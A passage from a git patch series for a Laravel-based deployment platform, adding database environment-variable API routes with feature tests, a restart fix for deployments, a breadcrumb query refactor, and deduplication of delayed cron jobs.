[DatabasesController::class, 'delete_backup_by_uuid'])->middleware(['api.ability:write']); Route::delete('/databases/{uuid}/backups/{scheduled_backup_uuid}/executions/{execution_uuid}', [DatabasesController::class, 'delete_execution_by_uuid'])->middleware(['api.ability:write']); + Route::get('/databases/{uuid}/envs', [DatabasesController::class, 'envs'])->middleware(['api.ability:read']); + Route::post('/databases/{uuid}/envs', [DatabasesController::class, 'create_env'])->middleware(['api.ability:write']); + Route::patch('/databases/{uuid}/envs/bulk', [DatabasesController::class, 'create_bulk_envs'])->middleware(['api.ability:write']); + Route::patch('/databases/{uuid}/envs', [DatabasesController::class, 'update_env_by_uuid'])->middleware(['api.ability:write']); + Route::delete('/databases/{uuid}/envs/{env_uuid}', [DatabasesController::class, 'delete_env_by_uuid'])->middleware(['api.ability:write']); + Route::match(['get', 'post'], '/databases/{uuid}/start', [DatabasesController::class, 'action_deploy'])->middleware(['api.ability:deploy']); Route::match(['get', 'post'], '/databases/{uuid}/restart', [DatabasesController::class, 'action_restart'])->middleware(['api.ability:deploy']); Route::match(['get', 'post'], '/databases/{uuid}/stop', [DatabasesController::class, 'action_stop'])->middleware(['api.ability:deploy']); diff --git a/tests/Feature/DatabaseEnvironmentVariableApiTest.php b/tests/Feature/DatabaseEnvironmentVariableApiTest.php new file mode 100644 index 000000000..f3297cf17 --- /dev/null +++ b/tests/Feature/DatabaseEnvironmentVariableApiTest.php @@ -0,0 +1,346 @@ + 0]); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + session(['currentTeam' => $this->team]); + + $this->token = $this->user->createToken('test-token', ['*']); + $this->bearerToken = $this->token->plainTextToken; + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first(); + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); +}); + +function createDatabase($context): StandalonePostgresql +{ + return StandalonePostgresql::create([ + 'name' => 'test-postgres', + 'image' => 'postgres:15-alpine', + 'postgres_user' => 'postgres', + 'postgres_password' => 'password', + 'postgres_db' => 'postgres', + 'environment_id' => $context->environment->id, + 'destination_id' => $context->destination->id, + 'destination_type' => $context->destination->getMorphClass(), + ]); +} + +describe('GET /api/v1/databases/{uuid}/envs', function () { + test('lists environment variables for a database', function () { + $database = createDatabase($this); + + EnvironmentVariable::create([ + 'key' => 'CUSTOM_VAR', + 'value' => 'custom_value', + 'resourceable_type' => StandalonePostgresql::class, + 'resourceable_id' => $database->id, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->getJson("/api/v1/databases/{$database->uuid}/envs"); + + $response->assertStatus(200); + $response->assertJsonFragment(['key' => 'CUSTOM_VAR']); + }); + + test('returns empty array when no environment variables exist', function () { + $database = createDatabase($this); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->getJson("/api/v1/databases/{$database->uuid}/envs"); + + $response->assertStatus(200); + $response->assertJson([]); + }); + + test('returns 404 for non-existent database', function () { + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->getJson('/api/v1/databases/non-existent-uuid/envs'); + + $response->assertStatus(404); + }); +}); + +describe('POST /api/v1/databases/{uuid}/envs', function () { + test('creates an environment variable', function () { + $database = createDatabase($this); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->postJson("/api/v1/databases/{$database->uuid}/envs", [ + 'key' => 'NEW_VAR', + 'value' => 'new_value', + ]); + + $response->assertStatus(201); + + $env = EnvironmentVariable::where('key', 'NEW_VAR') + ->where('resourceable_id', $database->id) + ->where('resourceable_type', StandalonePostgresql::class) + ->first(); + + expect($env)->not->toBeNull(); + expect($env->value)->toBe('new_value'); + }); + + test('creates an environment variable with comment', function () { + $database = createDatabase($this); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->postJson("/api/v1/databases/{$database->uuid}/envs", [ + 'key' => 'COMMENTED_VAR', + 'value' => 'some_value', + 'comment' => 'This is a test comment', + ]); + + $response->assertStatus(201); + + $env = EnvironmentVariable::where('key', 'COMMENTED_VAR') + ->where('resourceable_id', $database->id) + ->first(); + + expect($env->comment)->toBe('This is a test comment'); + }); + + test('returns 409 when environment variable already exists', function () { + $database = createDatabase($this); + + EnvironmentVariable::create([ + 'key' => 'EXISTING_VAR', + 'value' => 'existing_value', + 'resourceable_type' => StandalonePostgresql::class, + 'resourceable_id' => $database->id, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->postJson("/api/v1/databases/{$database->uuid}/envs", [ + 'key' => 'EXISTING_VAR', + 'value' => 'new_value', + ]); + + $response->assertStatus(409); + }); + + test('returns 422 when key is missing', function () { + $database = createDatabase($this); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->postJson("/api/v1/databases/{$database->uuid}/envs", [ + 'value' => 'some_value', + ]); + + $response->assertStatus(422); + }); +}); + +describe('PATCH /api/v1/databases/{uuid}/envs', function () { + test('updates an environment variable', function () { + $database = createDatabase($this); + + EnvironmentVariable::create([ + 'key' => 'UPDATE_ME', + 'value' => 'old_value', + 'resourceable_type' => StandalonePostgresql::class, + 'resourceable_id' => $database->id, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/databases/{$database->uuid}/envs", [ + 'key' => 'UPDATE_ME', + 'value' => 'new_value', + ]); + + $response->assertStatus(201); + + $env = EnvironmentVariable::where('key', 'UPDATE_ME') + ->where('resourceable_id', $database->id) + ->first(); + + expect($env->value)->toBe('new_value'); + }); + + test('returns 404 when environment variable does not exist', function () { + $database = createDatabase($this); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/databases/{$database->uuid}/envs", [ + 'key' => 'NONEXISTENT', + 'value' => 'value', + ]); + + $response->assertStatus(404); + }); +}); + +describe('PATCH /api/v1/databases/{uuid}/envs/bulk', function () { + test('creates environment variables with comments', function () { + $database = createDatabase($this); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/databases/{$database->uuid}/envs/bulk", [ + 'data' => [ + [ + 'key' => 'DB_HOST', + 'value' => 'localhost', + 'comment' => 'Database host', + ], + [ + 'key' => 'DB_PORT', + 'value' => '5432', + ], + ], + ]); + + $response->assertStatus(201); + + $envWithComment = EnvironmentVariable::where('key', 'DB_HOST') + ->where('resourceable_id', $database->id) + ->where('resourceable_type', StandalonePostgresql::class) + ->first(); + + $envWithoutComment = EnvironmentVariable::where('key', 'DB_PORT') + ->where('resourceable_id', $database->id) + ->where('resourceable_type', StandalonePostgresql::class) + ->first(); + + expect($envWithComment->comment)->toBe('Database host'); + expect($envWithoutComment->comment)->toBeNull(); + }); + + test('updates existing environment variables via bulk', function () { + $database = createDatabase($this); + + EnvironmentVariable::create([ + 'key' => 'BULK_VAR', + 'value' => 'old_value', + 'comment' => 'Old comment', + 'resourceable_type' => StandalonePostgresql::class, + 'resourceable_id' => $database->id, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/databases/{$database->uuid}/envs/bulk", [ + 'data' => [ + [ + 'key' => 'BULK_VAR', + 'value' => 'new_value', + 'comment' => 'Updated comment', + ], + ], + ]); + + $response->assertStatus(201); + + $env = EnvironmentVariable::where('key', 'BULK_VAR') + ->where('resourceable_id', $database->id) + ->first(); + + expect($env->value)->toBe('new_value'); + expect($env->comment)->toBe('Updated comment'); + }); + + test('rejects comment exceeding 256 characters', function () { + $database = createDatabase($this); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/databases/{$database->uuid}/envs/bulk", [ + 'data' => [ + [ + 'key' => 'TEST_VAR', + 'value' => 'value', + 'comment' => str_repeat('a', 257), + ], + ], + ]); + + $response->assertStatus(422); + }); + + test('returns 400 when data is missing', function () { + $database = createDatabase($this); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/databases/{$database->uuid}/envs/bulk", []); + + $response->assertStatus(400); + }); +}); + +describe('DELETE /api/v1/databases/{uuid}/envs/{env_uuid}', function () { + test('deletes an environment variable', function () { + $database = createDatabase($this); + + $env = EnvironmentVariable::create([ + 'key' => 'DELETE_ME', + 'value' => 'to_delete', + 'resourceable_type' => StandalonePostgresql::class, + 'resourceable_id' => $database->id, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->deleteJson("/api/v1/databases/{$database->uuid}/envs/{$env->uuid}"); + + $response->assertStatus(200); + $response->assertJson(['message' => 'Environment variable deleted.']); + + expect(EnvironmentVariable::where('uuid', $env->uuid)->first())->toBeNull(); + }); + + test('returns 404 for non-existent environment variable', function () { + $database = createDatabase($this); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->deleteJson("/api/v1/databases/{$database->uuid}/envs/non-existent-uuid"); + + $response->assertStatus(404); + }); +}); From 65ed407ec82389408fb4f4b210c38eb9f08890fe Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 19 Mar 2026 23:42:11 +0100 Subject: [PATCH 233/305] fix(deployment): disable build server during restart operations MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The just_restart() method doesn't need the build server—disabling it ensures the helper container is created on the deployment server with the correct network configuration and flags. The build server setting is restored before should_skip_build() is called in case it triggers a full rebuild that requires it. --- app/Jobs/ApplicationDeploymentJob.php | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index 7adb938c5..7075fd8a3 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -1103,10 +1103,21 @@ private function generate_image_names() private function just_restart() { $this->application_deployment_queue->addLogEntry("Restarting {$this->customRepository}:{$this->application->git_branch} on {$this->server->name}."); + + // Restart doesn't need the build server — disable it so the helper container + // is created on the deployment server with the correct network/flags. + $originalUseBuildServer = $this->use_build_server; + $this->use_build_server = false; + $this->prepare_builder_image(); $this->check_git_if_build_needed(); $this->generate_image_names(); $this->check_image_locally_or_remotely(); + + // Restore before should_skip_build() — it may re-enter decide_what_to_do() + // for a full rebuild which needs the build server. + $this->use_build_server = $originalUseBuildServer; + $this->should_skip_build(); $this->completeDeployment(); } From e65ad22b42133b1941ffd75ecbbb9f19b6de972f Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Fri, 20 Mar 2026 00:02:18 +0100 Subject: [PATCH 234/305] refactor(breadcrumb): optimize queries and simplify state management - Add column selection to breadcrumb queries for better performance - Remove unused Alpine.js state (activeRes, activeMenuEnv, resPositions, menuPositions) - Simplify dropdown logic by removing duplicate state handling in index view - Change database relationship eager loading to use explicit column selection --- app/Livewire/Project/Resource/Index.php | 127 +++-- .../resources/breadcrumbs.blade.php | 531 ++---------------- .../livewire/project/resource/index.blade.php | 331 ++--------- 3 files changed, 167 insertions(+), 822 deletions(-) diff --git a/app/Livewire/Project/Resource/Index.php b/app/Livewire/Project/Resource/Index.php index be6e3e98f..094b61b28 100644 --- a/app/Livewire/Project/Resource/Index.php +++ b/app/Livewire/Project/Resource/Index.php @@ -13,33 +13,33 @@ class Index extends Component public Environment $environment; - public Collection $applications; - - public Collection $postgresqls; - - public Collection $redis; - - public Collection $mongodbs; - - public Collection $mysqls; - - public Collection $mariadbs; - - public Collection $keydbs; - - public Collection $dragonflies; - - public Collection $clickhouses; - - public Collection $services; - public Collection $allProjects; public Collection $allEnvironments; public array $parameters; - public function mount() + protected Collection $applications; + + protected Collection $postgresqls; + + protected Collection $redis; + + protected Collection $mongodbs; + + protected Collection $mysqls; + + protected Collection $mariadbs; + + protected Collection $keydbs; + + protected Collection $dragonflies; + + protected Collection $clickhouses; + + protected Collection $services; + + public function mount(): void { $this->applications = $this->postgresqls = $this->redis = $this->mongodbs = $this->mysqls = $this->mariadbs = $this->keydbs = $this->dragonflies = $this->clickhouses = $this->services = collect(); $this->parameters = get_route_parameters(); @@ -55,31 +55,23 @@ public function mount() $this->project = $project; - // Load projects and environments for breadcrumb navigation (avoids inline queries in view) + // Load projects and environments for breadcrumb navigation $this->allProjects = Project::ownedByCurrentTeamCached(); $this->allEnvironments = $project->environments() + ->select('id', 'uuid', 'name', 'project_id') ->with([ - 'applications.additional_servers', - 'applications.destination.server', - 'services', - 'services.destination.server', - 'postgresqls', - 'postgresqls.destination.server', - 'redis', - 'redis.destination.server', - 'mongodbs', - 'mongodbs.destination.server', - 'mysqls', - 'mysqls.destination.server', - 'mariadbs', - 'mariadbs.destination.server', - 'keydbs', - 'keydbs.destination.server', - 'dragonflies', - 'dragonflies.destination.server', - 'clickhouses', - 'clickhouses.destination.server', - ])->get(); + 'applications:id,uuid,name,environment_id', + 'services:id,uuid,name,environment_id', + 'postgresqls:id,uuid,name,environment_id', + 'redis:id,uuid,name,environment_id', + 'mongodbs:id,uuid,name,environment_id', + 'mysqls:id,uuid,name,environment_id', + 'mariadbs:id,uuid,name,environment_id', + 'keydbs:id,uuid,name,environment_id', + 'dragonflies:id,uuid,name,environment_id', + 'clickhouses:id,uuid,name,environment_id', + ]) + ->get(); $this->environment = $environment->loadCount([ 'applications', @@ -94,11 +86,9 @@ public function mount() 'services', ]); - // Eager load all relationships for applications including nested ones + // Eager load relationships for applications $this->applications = $this->environment->applications()->with([ 'tags', - 'additional_servers.settings', - 'additional_networks', 'destination.server.settings', 'settings', ])->get()->sortBy('name'); @@ -160,6 +150,49 @@ public function mount() public function render() { - return view('livewire.project.resource.index'); + return view('livewire.project.resource.index', [ + 'applications' => $this->applications, + 'postgresqls' => $this->postgresqls, + 'redis' => $this->redis, + 'mongodbs' => $this->mongodbs, + 'mysqls' => $this->mysqls, + 'mariadbs' => $this->mariadbs, + 'keydbs' => $this->keydbs, + 'dragonflies' => $this->dragonflies, + 'clickhouses' => $this->clickhouses, + 'services' => $this->services, + 'applicationsJs' => $this->toSearchableArray($this->applications), + 'postgresqlsJs' => $this->toSearchableArray($this->postgresqls), + 'redisJs' => $this->toSearchableArray($this->redis), + 'mongodbsJs' => $this->toSearchableArray($this->mongodbs), + 'mysqlsJs' => $this->toSearchableArray($this->mysqls), + 'mariadbsJs' => $this->toSearchableArray($this->mariadbs), + 'keydbsJs' => $this->toSearchableArray($this->keydbs), + 'dragonfliesJs' => $this->toSearchableArray($this->dragonflies), + 'clickhousesJs' => $this->toSearchableArray($this->clickhouses), + 'servicesJs' => $this->toSearchableArray($this->services), + ]); + } + + private function toSearchableArray(Collection $items): array + { + return $items->map(fn ($item) => [ + 'uuid' => $item->uuid, + 'name' => $item->name, + 'fqdn' => $item->fqdn ?? null, + 'description' => $item->description ?? null, + 'status' => $item->status ?? '', + 'server_status' => $item->server_status ?? null, + 'hrefLink' => $item->hrefLink ?? '', + 'destination' => [ + 'server' => [ + 'name' => $item->destination?->server?->name ?? 'Unknown', + ], + ], + 'tags' => $item->tags->map(fn ($tag) => [ + 'id' => $tag->id, + 'name' => $tag->name, + ])->values()->toArray(), + ])->values()->toArray(); } } diff --git a/resources/views/components/resources/breadcrumbs.blade.php b/resources/views/components/resources/breadcrumbs.blade.php index 135cad3a7..300a8d6e2 100644 --- a/resources/views/components/resources/breadcrumbs.blade.php +++ b/resources/views/components/resources/breadcrumbs.blade.php @@ -12,17 +12,18 @@ $projects = $projects ?? Project::ownedByCurrentTeamCached(); $environments = $environments ?? $resource->environment->project ->environments() + ->select('id', 'uuid', 'name', 'project_id') ->with([ - 'applications', - 'services', - 'postgresqls', - 'redis', - 'mongodbs', - 'mysqls', - 'mariadbs', - 'keydbs', - 'dragonflies', - 'clickhouses', + 'applications:id,uuid,name,environment_id', + 'services:id,uuid,name,environment_id', + 'postgresqls:id,uuid,name,environment_id', + 'redis:id,uuid,name,environment_id', + 'mongodbs:id,uuid,name,environment_id', + 'mysqls:id,uuid,name,environment_id', + 'mariadbs:id,uuid,name,environment_id', + 'keydbs:id,uuid,name,environment_id', + 'dragonflies:id,uuid,name,environment_id', + 'clickhouses:id,uuid,name,environment_id', ]) ->get(); $currentProjectUuid = data_get($resource, 'environment.project.uuid'); @@ -63,7 +64,7 @@ class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolg -
  • +
  • + x-transition:leave-end="opacity-0 scale-95" + class="absolute z-20 top-full mt-1 left-0 sm:left-auto max-w-[calc(100vw-1rem)]" + x-init="$nextTick(() => { const rect = $el.getBoundingClientRect(); if (rect.right > window.innerWidth) { $el.style.left = 'auto'; $el.style.right = '0'; } })">
    @foreach ($environments as $environment) @php - // Use pre-loaded relations instead of databases() method to avoid N+1 queries $envDatabases = collect() ->merge($environment->postgresqls ?? collect()) ->merge($environment->redis ?? collect()) @@ -101,26 +103,17 @@ class="relative w-48 bg-white dark:bg-coolgray-100 rounded-md shadow-lg py-1 bor ->merge($environment->dragonflies ?? collect()) ->merge($environment->clickhouses ?? collect()); $envResources = collect() - ->merge( - $environment->applications->map( - fn($app) => ['type' => 'application', 'resource' => $app], - ), - ) - ->merge( - $envDatabases->map(fn($db) => ['type' => 'database', 'resource' => $db]), - ) - ->merge( - $environment->services->map( - fn($svc) => ['type' => 'service', 'resource' => $svc], - ), - ); + ->merge($environment->applications->map(fn($app) => ['type' => 'application', 'resource' => $app])) + ->merge($envDatabases->map(fn($db) => ['type' => 'database', 'resource' => $db])) + ->merge($environment->services->map(fn($svc) => ['type' => 'service', 'resource' => $svc])) + ->sortBy(fn($item) => strtolower($item['resource']->name)); @endphp
    $environment->uuid, + 'project_uuid' => $currentProjectUuid, + ]) }}" {{ wireNavigate() }} class="flex items-center justify-between gap-2 px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200 {{ $environment->uuid === $currentEnvironmentUuid ? 'dark:text-warning font-semibold' : '' }}" title="{{ $environment->name }}"> {{ $environment->name }} @@ -150,31 +143,29 @@ class="flex items-center gap-2 px-4 py-2 text-sm hover:bg-neutral-100 dark:hover @foreach ($environments as $environment) @php + $envDatabases = collect() + ->merge($environment->postgresqls ?? collect()) + ->merge($environment->redis ?? collect()) + ->merge($environment->mongodbs ?? collect()) + ->merge($environment->mysqls ?? collect()) + ->merge($environment->mariadbs ?? collect()) + ->merge($environment->keydbs ?? collect()) + ->merge($environment->dragonflies ?? collect()) + ->merge($environment->clickhouses ?? collect()); $envResources = collect() - ->merge( - $environment->applications->map( - fn($app) => ['type' => 'application', 'resource' => $app], - ), - ) - ->merge( - $environment - ->databases() - ->map(fn($db) => ['type' => 'database', 'resource' => $db]), - ) - ->merge( - $environment->services->map(fn($svc) => ['type' => 'service', 'resource' => $svc]), - ); + ->merge($environment->applications->map(fn($app) => ['type' => 'application', 'resource' => $app])) + ->merge($envDatabases->map(fn($db) => ['type' => 'database', 'resource' => $db])) + ->merge($environment->services->map(fn($svc) => ['type' => 'service', 'resource' => $svc])); @endphp @if ($envResources->count() > 0)
    - - - @foreach ($envResources as $envResource) - @php - $resType = $envResource['type']; - $res = $envResource['resource']; - $resParams = [ - 'project_uuid' => $currentProjectUuid, - 'environment_uuid' => $environment->uuid, - ]; - if ($resType === 'application') { - $resParams['application_uuid'] = $res->uuid; - } elseif ($resType === 'service') { - $resParams['service_uuid'] = $res->uuid; - } else { - $resParams['database_uuid'] = $res->uuid; - } - $resKey = $environment->uuid . '-' . $res->uuid; - @endphp -
    - -
    - @if ($resType === 'application') - - Deployments - Logs - @can('canAccessTerminal') - Terminal - @endcan - @elseif ($resType === 'service') - - Logs - @can('canAccessTerminal') - Terminal - @endcan - @else - - Logs - @can('canAccessTerminal') - Terminal - @endcan - @if ( - $res->getMorphClass() === 'App\Models\StandalonePostgresql' || - $res->getMorphClass() === 'App\Models\StandaloneMongodb' || - $res->getMorphClass() === 'App\Models\StandaloneMysql' || - $res->getMorphClass() === 'App\Models\StandaloneMariadb') - Backups - @endif - @endif -
    - - - -
    - @endforeach
    @endif @endforeach @@ -431,7 +210,6 @@ class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolg $isApplication = $resourceType === 'App\Models\Application'; $isService = $resourceType === 'App\Models\Service'; $isDatabase = str_contains($resourceType, 'Database') || str_contains($resourceType, 'Standalone'); - // Use loaded relation count if available, otherwise check additional_servers_count attribute $hasMultipleServers = $isApplication && method_exists($resource, 'additional_servers') && ($resource->relationLoaded('additional_servers') ? $resource->additional_servers->count() > 0 : ($resource->additional_servers_count ?? 0) > 0); $serverName = $hasMultipleServers ? null : data_get($resource, 'destination.server.name'); @@ -447,221 +225,16 @@ class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolg $routeParams['database_uuid'] = $resourceUuid; } @endphp -
  • -
    - - {{ data_get($resource, 'name') }}@if($serverName) ({{ $serverName }})@endif - - - - -
    - -
    - @if ($isApplication) - - - - Deployments - - - Logs - - @can('canAccessTerminal') - - Terminal - - @endcan - @elseif ($isService) - - - - Logs - - @can('canAccessTerminal') - - Terminal - - @endcan - @else - - - - Logs - - @can('canAccessTerminal') - - Terminal - - @endcan - @if ( - $resourceType === 'App\Models\StandalonePostgresql' || - $resourceType === 'App\Models\StandaloneMongodb' || - $resourceType === 'App\Models\StandaloneMysql' || - $resourceType === 'App\Models\StandaloneMariadb') - - Backups - - @endif - @endif -
    - - - -
    -
    +
  • + + {{ data_get($resource, 'name') }}@if($serverName) ({{ $serverName }})@endif +
  • diff --git a/resources/views/livewire/project/resource/index.blade.php b/resources/views/livewire/project/resource/index.blade.php index f18df5061..a38a04043 100644 --- a/resources/views/livewire/project/resource/index.blade.php +++ b/resources/views/livewire/project/resource/index.blade.php @@ -60,36 +60,13 @@ class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolg -
  • +
  • {{ $environment->name }} - -
    @foreach ($allEnvironments as $env) @php + $envDatabases = collect() + ->merge($env->postgresqls ?? collect()) + ->merge($env->redis ?? collect()) + ->merge($env->mongodbs ?? collect()) + ->merge($env->mysqls ?? collect()) + ->merge($env->mariadbs ?? collect()) + ->merge($env->keydbs ?? collect()) + ->merge($env->dragonflies ?? collect()) + ->merge($env->clickhouses ?? collect()); $envResources = collect() - ->merge( - $env->applications->map( - fn($app) => ['type' => 'application', 'resource' => $app], - ), - ) - ->merge( - $env - ->databases() - ->map(fn($db) => ['type' => 'database', 'resource' => $db]), - ) - ->merge( - $env->services->map( - fn($svc) => ['type' => 'service', 'resource' => $svc], - ), - ); + ->merge($env->applications->map(fn($app) => ['type' => 'application', 'resource' => $app])) + ->merge($envDatabases->map(fn($db) => ['type' => 'database', 'resource' => $db])) + ->merge($env->services->map(fn($svc) => ['type' => 'service', 'resource' => $svc])) + ->sortBy(fn($item) => strtolower($item['resource']->name)); @endphp
    {{ $env->name }} @@ -153,7 +129,6 @@ class="flex items-center gap-2 px-4 py-2 text-sm hover:bg-neutral-100 dark:hover @foreach ($allEnvironments as $env) @php - // Use pre-loaded relations instead of databases() method to avoid N+1 queries $envDatabases = collect() ->merge($env->postgresqls ?? collect()) ->merge($env->redis ?? collect()) @@ -164,28 +139,19 @@ class="flex items-center gap-2 px-4 py-2 text-sm hover:bg-neutral-100 dark:hover ->merge($env->dragonflies ?? collect()) ->merge($env->clickhouses ?? collect()); $envResources = collect() - ->merge( - $env->applications->map( - fn($app) => ['type' => 'application', 'resource' => $app], - ), - ) - ->merge( - $envDatabases->map(fn($db) => ['type' => 'database', 'resource' => $db]), - ) - ->merge( - $env->services->map(fn($svc) => ['type' => 'service', 'resource' => $svc]), - ); + ->merge($env->applications->map(fn($app) => ['type' => 'application', 'resource' => $app])) + ->merge($envDatabases->map(fn($db) => ['type' => 'database', 'resource' => $db])) + ->merge($env->services->map(fn($svc) => ['type' => 'service', 'resource' => $svc])); @endphp @if ($envResources->count() > 0)
    - - - @foreach ($envResources as $envResource) - @php - $resType = $envResource['type']; - $res = $envResource['resource']; - $resParams = [ - 'project_uuid' => $project->uuid, - 'environment_uuid' => $env->uuid, - ]; - if ($resType === 'application') { - $resParams['application_uuid'] = $res->uuid; - } elseif ($resType === 'service') { - $resParams['service_uuid'] = $res->uuid; - } else { - $resParams['database_uuid'] = $res->uuid; - } - $resKey = $env->uuid . '-' . $res->uuid; - @endphp -
    - -
    - @if ($resType === 'application') - - Deployments - Logs - @can('canAccessTerminal') - Terminal - @endcan - @elseif ($resType === 'service') - - Logs - @can('canAccessTerminal') - Terminal - @endcan - @else - - Logs - @can('canAccessTerminal') - Terminal - @endcan - @if ( - $res->getMorphClass() === 'App\Models\StandalonePostgresql' || - $res->getMorphClass() === 'App\Models\StandaloneMongodb' || - $res->getMorphClass() === 'App\Models\StandaloneMysql' || - $res->getMorphClass() === 'App\Models\StandaloneMariadb') - Backups - @endif - @endif -
    - - - -
    - @endforeach
    @endif @endforeach @@ -656,16 +395,16 @@ function sortFn(a, b) { function searchComponent() { return { search: '', - applications: @js($applications), - postgresqls: @js($postgresqls), - redis: @js($redis), - mongodbs: @js($mongodbs), - mysqls: @js($mysqls), - mariadbs: @js($mariadbs), - keydbs: @js($keydbs), - dragonflies: @js($dragonflies), - clickhouses: @js($clickhouses), - services: @js($services), + applications: @js($applicationsJs), + postgresqls: @js($postgresqlsJs), + redis: @js($redisJs), + mongodbs: @js($mongodbsJs), + mysqls: @js($mysqlsJs), + mariadbs: @js($mariadbsJs), + keydbs: @js($keydbsJs), + dragonflies: @js($dragonfliesJs), + clickhouses: @js($clickhousesJs), + services: @js($servicesJs), filterAndSort(items) { if (this.search === '') { return Object.values(items).sort(sortFn); From 6aa618e57fe031b5b0b5834e6b711f94cf2d54d7 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Fri, 20 Mar 2026 15:44:10 +0100 Subject: [PATCH 235/305] feat(jobs): add cache-based deduplication for delayed cron execution Implements getPreviousRunDate() + cache-based tracking in shouldRunNow() to prevent duplicate dispatch of scheduled jobs when queue delays push execution past the cron minute. This resilience ensures jobs catch missed windows without double-dispatching within the same cron window. Updated scheduled job dispatches to include dedupKey parameter: - Docker cleanup operations - Server connection checks - Sentinel restart checks - Server storage checks - Server patch checks DockerCleanupJob now dispatches on the 'high' queue for faster processing. Includes comprehensive test coverage for dedup behavior across different cron schedules and delay scenarios. --- app/Jobs/DockerCleanupJob.php | 4 +- app/Jobs/ScheduledJobManager.php | 4 +- app/Jobs/ServerManagerJob.php | 45 ++++++-- .../ScheduledJobManagerShouldRunNowTest.php | 49 +++++++++ .../ServerManagerJobShouldRunNowTest.php | 102 ++++++++++++++++++ 5 files changed, 194 insertions(+), 10 deletions(-) create mode 100644 tests/Feature/ServerManagerJobShouldRunNowTest.php diff --git a/app/Jobs/DockerCleanupJob.php b/app/Jobs/DockerCleanupJob.php index 78ef7f3a2..a8a3cb159 100644 --- a/app/Jobs/DockerCleanupJob.php +++ b/app/Jobs/DockerCleanupJob.php @@ -39,7 +39,9 @@ public function __construct( public bool $manualCleanup = false, public bool $deleteUnusedVolumes = false, public bool $deleteUnusedNetworks = false - ) {} + ) { + $this->onQueue('high'); + } public function handle(): void { diff --git a/app/Jobs/ScheduledJobManager.php b/app/Jobs/ScheduledJobManager.php index e68e3b613..ebcd229ed 100644 --- a/app/Jobs/ScheduledJobManager.php +++ b/app/Jobs/ScheduledJobManager.php @@ -350,7 +350,7 @@ private function shouldRunNow(string $frequency, string $timezone, ?string $dedu $baseTime = $this->executionTime ?? Carbon::now(); $executionTime = $baseTime->copy()->setTimezone($timezone); - // No dedup key → simple isDue check (used by docker cleanups) + // No dedup key → simple isDue check if ($dedupKey === null) { return $cron->isDue($executionTime); } @@ -411,7 +411,7 @@ private function processDockerCleanups(): void } // Use the frozen execution time for consistent evaluation - if ($this->shouldRunNow($frequency, $serverTimezone)) { + if ($this->shouldRunNow($frequency, $serverTimezone, "docker-cleanup:{$server->id}")) { DockerCleanupJob::dispatch( $server, false, diff --git a/app/Jobs/ServerManagerJob.php b/app/Jobs/ServerManagerJob.php index 730ce547d..d56ff0a8c 100644 --- a/app/Jobs/ServerManagerJob.php +++ b/app/Jobs/ServerManagerJob.php @@ -14,6 +14,7 @@ use Illuminate\Queue\SerializesModels; use Illuminate\Support\Carbon; use Illuminate\Support\Collection; +use Illuminate\Support\Facades\Cache; use Illuminate\Support\Facades\Log; class ServerManagerJob implements ShouldBeEncrypted, ShouldQueue @@ -80,7 +81,7 @@ private function getServers(): Collection private function dispatchConnectionChecks(Collection $servers): void { - if ($this->shouldRunNow($this->checkFrequency)) { + if ($this->shouldRunNow($this->checkFrequency, dedupKey: 'server-connection-checks')) { $servers->each(function (Server $server) { try { // Skip SSH connection check if Sentinel is healthy — its heartbeat already proves connectivity @@ -129,13 +130,13 @@ private function processServerTasks(Server $server): void 